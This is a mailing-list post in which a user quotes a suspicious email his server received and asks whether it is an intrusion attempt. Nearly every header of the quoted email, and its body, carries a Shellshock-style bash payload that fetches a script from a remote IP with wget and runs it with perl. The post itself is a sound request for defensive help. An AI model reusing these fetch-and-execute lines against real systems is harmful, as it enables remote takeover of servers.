Off topic -- Can anybody tell me what this means?

[William Oliver]

First, I apologize for this not being fedora-specific, but I just got
the oddest email.  It looks like an intrusion attempt, trying to get
sendmail to execute a perl script.  Is anybody familiar with this
particular pattern?

The email is below.

Thanks,

billo


Return-Path: <MAILER-DAEMON(a)billoblog.com&gt;
Received: from incenclick.com (incenclick.com [184.95.45.61] (may be
forged))
     by hope.billoblog.com (8.14.4/8.14.4) with SMTP id s96FKVOY029890
     for <nobody>; Mon, 6 Oct 2014 15:20:31 GMT
Resent-Message-Id: <201410061520.s96FKVOY029890(a)hope.billoblog.com&gt;
X-Authentication-Warning: hope.billoblog.com: incenclick.com
[184.95.45.61] (may be forged) didn't use HELO protocol
To:() { :;;};wget.http://91.207.254.60/.../bb.-O/tmp/bb;perl/tmp/[e-mail];; 
References:() { :; };wget http://91.207.254.60/.../bb -O /tmp/bb; perl /tmp/bb
Cc:() { :;;};wget.http://91.207.254.60/.../bb.-O/tmp/bb;perl/tmp/[e-mail];;
From:() { :;;};wget.http://91.207.254.60/.../bb.-O/tmp/bb;perl/tmp/[e-mail];;
Subject:() { :; };wget http://91.207.254.60/.../bb -O /tmp/bb; perl /tmp/bb
Date:() { :; };wget http://91.207.254.60/.../bb -O /tmp/bb; perl /tmp/bb
Message-ID:() { :; };wget http://91.207.254.60/.../bb -O /tmp/bb; perl /tmp/bb
Comments:() { :; };wget http://91.207.254.60/.../bb -O /tmp/bb; perl /tmp/bb
Keywords:() { :; };wget http://91.207.254.60/.../bb -O /tmp/bb; perl /tmp/bb
Resent-Date:() { :; };wget http://91.207.254.60/.../bb -O /tmp/bb; perl /tmp/bb
Resent-From:() {
:;;};wget.http://91.207.254.60/.../bb.-O/tmp/bb;perl/tmp/[e-mail];;
Resent-Sender:() {
:;;};wget.http://91.207.254.60/.../bb.-O/tmp/bb;perl/tmp/[e-mail];;

wget http://91.207.254.60/.../bb -O /tmp/bb; perl /tmp/bb